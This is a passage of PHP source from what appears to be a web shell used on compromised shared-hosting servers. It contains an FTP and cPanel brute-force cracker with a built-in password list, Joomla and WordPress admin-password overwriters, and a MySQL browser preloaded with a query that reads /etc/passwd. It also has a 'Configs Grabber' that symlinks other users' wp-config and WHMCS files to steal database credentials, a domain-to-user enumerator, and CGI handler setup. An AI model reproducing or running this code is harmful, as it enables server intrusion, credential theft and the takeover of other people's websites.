1841 set_time_limit(0);
1842 $submit = $_REQUEST['submit'];
1843 $users = $_REQUEST['users'];
1844 $pass = $_REQUEST['passwords'];
1845 $target = $_REQUEST['target'];
1846 $cracktype = $_REQUEST['cracktype'];
1847 if ($target == "")
1848 {
1849 $target = "localhost";
1850 } ?><div align="center"><form method="POST" style="border: 1px solid #000000"><br><?php function ftp_check($host, $user, $pass, $timeout)
1851 {
1852 $ch = curl_init();
1853 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1854 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1855 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1856 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1857 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1858 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1859 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1860 $data = curl_exec($ch);
1861 if (curl_errno($ch) == 28)
1862 {
1863 print "<b>Connection Timed out</b>";
1864 exit;
1865 }
1866 elseif (curl_errno($ch) == 0)
1867 {
1868 print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";
1869 }
1870 curl_close($ch);
1871 }
1872 function cpanel_check($host, $user, $pass, $timeout)
1873 {
1874 $ch = curl_init();
1875 curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1876 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1877 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1878 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1879 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1880 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1881 $data = curl_exec($ch);
1882 if (curl_errno($ch) == 28)
1883 {
1884 print "<b>Connection Timed out</b>";
1885 exit;
1886 }
1887 elseif (curl_errno($ch) == 0)
1888 {
1889 print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";
1890 }
1891 curl_close($ch);
1892 }
1893 if (isset($submit) && !empty($submit))
1894 {
1895 if (empty($users) && empty($pass))
1896 {
1897 print "<p><b>Error : Check The Users and Password List</b></p>";
1898 exit;
1899 }
1900 if (empty($users))
1901 {
1902 print "<p><b>Error :Check The Users List</b></p>";
1903 exit;
1904 }
1905 if (empty($pass))
1906 {
1907 print "<p><b>Error :Check The Password List</b></p>";
1908 exit;
1909 };
1910 $userlist = explode("\n", $users);
1911 $passlist = explode("\n", $pass);
1912 print "<b>[~] Wait ...</b><br><br>";
1913 foreach ($userlist as $user)
1914 {
1915 $pureuser = trim($user);
1916 foreach ($passlist as $password)
1917 {
1918 $purepass = trim($password);
1919 if ($cracktype == "ftp")
1920 {
1921 ftp_check($target, $pureuser, $purepass, $connect_timeout);
1922 }
1923 if ($cracktype == "cpanel")
1924 {
1925 cpanel_check($target, $pureuser, $purepass, $connect_timeout);
1926 }
1927 }
1928 }
1929 }
1930 echo "<cecnter><div class='mybox'><h2 class='k2ll33d2'>The Cracker</h2><form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
1931 system('ls /var/mail');
1932 echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n14789632\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form></div></center>";
1933 die();
1934}
1935elseif (isset($_GET['x']) && ($_GET['x'] == 'joomla'))
1936{
1937 if (empty($_POST['pwd']))
1938 {
1939 echo "<br><br><br><center><div class='mybox'><h2 class='k2ll33d2'>Joomla login changer</h2><FORM method='POST'><br><br><br>DB_Prefix : <INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'> host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br> <br>New Username: <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password: <INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br> <INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";
1940 }
1941 else
1942 {
1943 $prefix = $_POST['prefix'];
1944 $localhost = $_POST['localhost'];
1945 $database = $_POST['database'];
1946 $username = $_POST['username'];
1947 $password = $_POST['password'];
1948 $admin = $_POST['admin'];
1949 $pd = ($_POST["pwd"]);
1950 $pwd = md5($pd);
1951 @mysqli_connect($localhost, $username, $password) or die(mysqli_error());
1952 @mysqli_select_db($database) or die(mysqli_error());
1953 $SQL = @mysqli_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysqli_error());
1954 $SQL = @mysqli_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysqli_error());
1955 if ($SQL) echo "<br><br><center><h1>Done... go and login</h1></center>";
1956 }
1957}
1958elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql'))
1959{
1960 if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
1961 {
1962 $sqlhost = $_GET['sqlhost'];
1963 $sqluser = $_GET['sqluser'];
1964 $sqlpass = $_GET['sqlpass'];
1965 $sqlport = $_GET['sqlport'];
1966 if ($con = @mysqli_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass))
1967 {
1968 $msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";
1969 $msg .= "<p>Connected to " . $sqluser . "<span class='gaya'>@</span>" . $sqlhost . ":" . $sqlport;
1970 $msg .= " <span class='gaya'>-></span> <a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&'>[ databases ]</a>";
1971 if (isset($_GET['db'])) $msg .= " <span class='gaya'>-></span> <a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $_GET['db'] . "'>" . htmlspecialchars($_GET['db']) . "</a>";
1972 if (isset($_GET['table'])) $msg .= " <span class='gaya'>-></span> <a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "'>" . htmlspecialchars($_GET['table']) . "</a>";
1973 $msg .= "</p><p>version : " . mysqli_get_server_info($con) . " proto " . mysqli_get_proto_info($con) . "</p>";
1974 $msg .= "</div>";
1975 echo $msg;
1976 if (isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
1977 {
1978 $db = $_GET['db'];
1979 $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
1980 $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
1981 $tables = array();
1982 $msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on " . $db . "</th></tr>";
1983 $hasil = @mysqli_list_tables($db, $con);
1984 while (list($table) = @mysqli_fetch_row($hasil))
1985 {
1986 @array_push($tables, $table);
1987 }
1988 @sort($tables);
1989 foreach ($tables as $table)
1990 {
1991 $msg .= "<tr><td><a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $db . "&table=" . $table . "'>$table</a></td></tr>";
1992 }
1993 $msg .= "</table>";
1994 }
1995 elseif (isset($_GET['table']) && (!isset($_GET['sqlquery'])))
1996 {
1997 $db = $_GET['db'];
1998 $table = $_GET['table'];
1999 $query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
2000 $msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <input type='hidden' name='table' value='" . $table . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
2001 $columns = array();
2002 $msg = "<table class='explore' style='width:99%;'>";
2003 $hasil = @mysqli_query("SHOW FIELDS FROM " . $db . "." . $table);
2004 while (list($column) = @mysqli_fetch_row($hasil))
2005 {
2006 $msg .= "<th>$column</th>";
2007 $kolum = $column;
2008 }
2009 $msg .= "</tr>";
2010 $hasil = @mysqli_query("SELECT count(*) FROM " . $db . "." . $table);
2011 list($total) = mysqli_fetch_row($hasil);
2012 if (isset($_GET['z'])) $page = (int)$_GET['z'];
2013 else $page = 1;
2014 $pagenum = 100;
2015 $totpage = ceil($total / $pagenum);
2016 $start = (($page - 1) * $pagenum);
2017 $hasil = @mysqli_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
2018 while ($datas = @mysqli_fetch_assoc($hasil))
2019 {
2020 $msg .= "<tr>";
2021 foreach ($datas as $data)
2022 {
2023 if (trim($data) == "") $data = " ";
2024 $msg .= "<td>$data</td>";
2025 }
2026 $msg .= "</tr>";
2027 }
2028 $msg .= "</table>";
2029 $head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <input type='hidden' name='table' value='" . $table . "' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
2030 for ($i = 1;$i <= $totpage;$i++)
2031 {
2032 $head .= "<option value='" . $i . "'>" . $i . "</option>";
2033 if ($i == $_GET['z']) $head .= "<option value='" . $i . "' selected='selected'>" . $i . "</option>";
2034 }
2035 $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";
2036 $msg = $msgq . $head . $msg;
2037 }
2038 elseif (isset($_GET['submitquery']) && ($_GET['sqlquery'] != ""))
2039 {
2040 $db = $_GET['db'];
2041 $query = magicboom($_GET['sqlquery']);
2042 $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
2043 @mysqli_select_db($db);
2044 $querys = explode(";", $query);
2045 foreach ($querys as $query)
2046 {
2047 if (trim($query) != "")
2048 {
2049 $hasil = mysqli_query($query);
2050 if ($hasil)
2051 {
2052 $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>" . $query . "; <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";
2053 $msg .= "<table class='explore' style='width:99%;'><tr>";
2054 for ($i = 0;$i < @mysqli_num_fields($hasil);$i++) $msg .= "<th>" . htmlspecialchars(@mysqli_field_name($hasil, $i)) . "</th>";
2055 $msg .= "</tr>";
2056 for ($i = 0;$i < @mysqli_num_rows($hasil);$i++)
2057 {
2058 $rows = @mysqli_fetch_array($hasil);
2059 $msg .= "<tr>";
2060 for ($j = 0;$j < @mysqli_num_fields($hasil);$j++)
2061 {
2062 if ($rows[$j] == "") $dataz = " ";
2063 else $dataz = $rows[$j];
2064 $msg .= "<td>" . $dataz . "</td>";
2065 }
2066 $msg .= "</tr>";
2067 }
2068 $msg .= "</table>";
2069 }
2070 else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>" . $query . "; <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
2071 }
2072 }
2073 }
2074 else
2075 {
2076 $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
2077 $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='" . $sqlhost . "' /><input type='hidden' name='sqluser' value='" . $sqluser . "' /><input type='hidden' name='sqlport' value='" . $sqlport . "' /><input type='hidden' name='sqlpass' value='" . $sqlpass . "' /><input type='hidden' name='db' value='" . $db . "' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";
2078 $dbs = array();
2079 $msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";
2080 $hasil = @mysqli_list_dbs($con);
2081 while (list($db) = @mysqli_fetch_row($hasil))
2082 {
2083 @array_push($dbs, $db);
2084 }
2085 @sort($dbs);
2086 foreach ($dbs as $db)
2087 {
2088 $msg .= "<tr><td><a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $db . "'>$db</a></td></tr>";
2089 }
2090 $msg .= "</table>";
2091 }
2092 @mysqli_close($con);
2093 }
2094 else $msg = "<p style='text-align:center;'>can't connect</p>";
2095 echo $msg;
2096 }
2097 else
2098 { ?>
2099<br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect</h2><form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd; ?>" /> <input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connection Form</th></tr> <tr><td> Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form></div></center>
2100<?php
2101 }
2102}
2103elseif (isset($_GET['x']) && ($_GET['x'] == 'configs'))
2104{ ?><br><br><center><div class='mybox'><?php if (empty($_POST['conf']))
2105 { ?><h2 class='k2ll33d2'>Configs Grabber</h2><br><p>/etc/passwd content</p><form method="POST"><textarea name="passwd" class='output' rows=20><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="conf" class='inputzbut' size="80" value="GET'em" type="submit"><br></form></div></center><?php
2106 }
2107 if ($_POST['conf'])
2108 {
2109 $function = $functions = @ini_get("disable_functions");
2110 if (eregi("symlink", $functions))
2111 {
2112 die('<error>Symlink is disabled :( </error>');
2113 }
2114 @mkdir('configs', 0755);
2115 @chdir('configs');
2116 $htaccess = "
2117OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
2118DirectoryIndex ViR.html
2119ForceType text/plain
2120AddType text/plain .php
2121AddType text/plain .html
2122AddType text/html .shtml
2123AddType txt .php
2124AddHandler server-parsed .php
2125AddHandler txt .php
2126AddHandler txt .html
2127AddHandler txt .shtml
2128Options All
2129Options All
2130";
2131 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
2132 $passwd = $_POST["passwd"];
2133 $passwd = explode("\n", $passwd);
2134 echo "<center class='k2ll33d2'>wait ...<center>";
2135 foreach ($passwd as $pwd)
2136 {
2137 $pawd = explode(":", $pwd);
2138 $user = $pawd[0];
2139 @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
2140 @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
2141 @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
2142 @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
2143 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
2144 @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
2145 @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
2146 @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
2147 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
2148 @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
2149 @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
2150 @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
2151 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
2152 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
2153 @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
2154 @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
2155 @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
2156 @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
2157 @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
2158 @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
2159 @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
2160 @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
2161 @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
2162 @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
2163 @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
2164 @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
2165 @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
2166 @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
2167 @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
2168 @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
2169 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
2170 @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
2171 @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
2172 @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
2173 @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
2174 @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
2175 @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
2176 @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
2177 @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
2178 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
2179 }
2180 echo 'Done -> <a href="configs">configs</a>';
2181 }
2182}
2183elseif (isset($_GET['x']) && ($_GET['x'] == 'config'))
2184{
2185 error_reporting(0);
2186 if ($_POST['kill'])
2187 {
2188 $url = $_POST['url'];
2189 $user = $_POST['user'];
2190 $pass = $_POST['pass'];
2191 $pss = md5($pass);
2192 function enter($text, $a, $b)
2193 {
2194 $explode = explode($a, $text);
2195 $explode = explode($b, $explode[1]);
2196 return $explode[0];
2197 }
2198 $config = file_get_contents($url);
2199 $password = enter($config, "define('DB_PASSWORD', '", "');");
2200 $username = enter($config, "define('DB_USER', '", "');");
2201 $db = enter($config, "define('DB_NAME', '", "');");
2202 $prefix = enter($config, '$table_prefix = \'', "';");
2203 $host = enter($config, "define('DB_HOST', '", "');");
2204 if ($config && preg_match('/DB_NAME/i', $config))
2205 {
2206 $conn = @mysqli_connect($host, $username, $password) or die("i can't connect to mysql, check your data");
2207 @mysqli_select_db($db, $conn) or die(mysqli_error());
2208 $grab = @mysqli_query("SELECT * from `wp_options` WHERE option_name='home'");
2209 $data = @mysqli_fetch_array($grab);
2210 $site_url = $data["option_value"];
2211 $query = mysqli_query("UPDATE `" . $prefix . "users` SET `user_login` = '" . $user . "',`user_pass` = '" . $pss . "' WHERE `ID` = 1");
2212 if ($query)
2213 {
2214 echo '<center><h2 class="k2ll33d2">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">' . $site_url . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $pass . '</td><td width="20%"><a href="' . $site_url . '/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';
2215 }
2216 else echo '<h2 class="k2ll33d2"><font color="#ff0000">ERROR !</font></h2>';
2217 }
2218 else die('<h2 class="k2ll33d2">Not a wordpress config</h2>');
2219 }
2220 else
2221 { ?> <center><br><br><div class="mybox"><form method="post"><h2 style='font-size:26px;' class='k2ll33d2'>Wordpress login changer ( symlink version )</h2><br><table><tr><td>config link : </td><td><input size="26" class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" size="26" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" size="26" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input class="inputzbut" type="submit" name="kill" value=" change "></td><br></tr></table></form></div></center><?php
2222 }
2223}
2224elseif (isset($_GET['x']) && ($_GET['x'] == 'domains'))
2225{
2226 echo "<br><br><center><div class='mybox'><p align='center' class='k2ll33d2'>Domains and Users</p>";
2227 $d0mains = @file("/etc/named.conf");
2228 if (!$d0mains)
2229 {
2230 die("<center>Error : i can't read [ /etc/named.conf ]</center>");
2231 }
2232 echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
2233 foreach ($d0mains as $d0main)
2234 {
2235 if (eregi("zone", $d0main))
2236 {
2237 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2238 flush();
2239 if (strlen(trim($domains[1][0])) > 2)
2240 {
2241 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
2242 echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
2243 flush();
2244 }
2245 }
2246 }
2247 echo '</div></center>';
2248}
2249elseif (isset($_GET['x']) && ($_GET['x'] == 'keyboard'))
2250{
2251 if (empty($_POST['pwd']))
2252 {
2253 echo "<br><br><center><div class='mybox'><h2 style='font-size:40px;' class='k2ll33d2'>Wordpress login changer</h2><FORM method='POST'>DB_Prefix : <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'> host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='Database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'> <br><br>New username : <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password : <INPUT class ='inputz' name='pwd' size='15' value='123123'><br> <br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM></div/></center>";
2254 }
2255 else
2256 {
2257 $prefix = $_POST['prefix'];
2258 $localhost = $_POST['localhost'];
2259 $database = $_POST['database'];
2260 $username = $_POST['username'];
2261 $password = $_POST['password'];
2262 $pwd = $_POST['pwd'];
2263 $admin = $_POST['admin'];
2264 @mysqli_connect($localhost, $username, $password) or die(mysqli_error());
2265 @mysqli_select_db($database) or die(mysqli_error());
2266 $hash = crypt($pwd);
2267 $grab = @mysqli_query("SELECT * from `" . $prefix . "options` WHERE option_name='home'");
2268 $data = @mysqli_fetch_array($grab);
2269 $site_url = $data["option_value"];
2270 $k2 = @mysqli_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysqli_error());
2271 $k2 = @mysqli_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysqli_error());
2272 if ($k2)
2273 {
2274 echo '<br><br><center><h1>Done ... -> <a href="' . $site_url . '/wp-login.php" target="_blank">Login</a></h1></center>';
2275 }
2276 }
2277 echo '</center>';
2278}
2279elseif (isset($_GET['x']) && ($_GET['x'] == 'string'))
2280{
2281 $text = $_POST['code']; ?><center><br><br><div class="mybox"><h2 class="k2ll33d2">String encoder</h2><form method="post"><br><textarea class='inputz' cols=80 rows=5 name="code">RANDOM VALUE</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select> <input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];
2282 switch ($op)
2283 {
2284 case 'base64':
2285 $codi = base64_encode($text);
2286 break;
2287 case 'md5':
2288 $codi = md5($text);
2289 break;
2290 case 'whash':
2291 $codi = crypt($text);
2292 break;
2293 case 'SHA1':
2294 $codi = sha1($text);
2295 break;
2296 case 'urlencode':
2297 $codi = urlencode($text);
2298 break;
2299 case 'md4':
2300 $codi = hash("md4", $text);
2301 break;
2302 case 'SHA256':
2303 $codi = hash("sha256", $text);
2304 break;
2305 default:
2306 break;
2307 }
2308 echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></div></center>';
2309}
2310elseif (isset($_GET['x']) && $_GET['x'] == 'cgi')
2311{
2312 mkdir('CGI7', 0755);
2313 chdir('CGI7');
2314 $kokdosya = ".htaccess";
2315 $dosya_adi = "$kokdosya";
2316 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
2317 $metin = "AddType application/x-httpd-cgi .izo
2318AddType application/x-httpd-cgi .izo
2319AddHandler cgi-script .izo
2320AddHandler cgi-script .izo";
2321 fwrite($dosya, $metin);
2322 fclose($dosya);
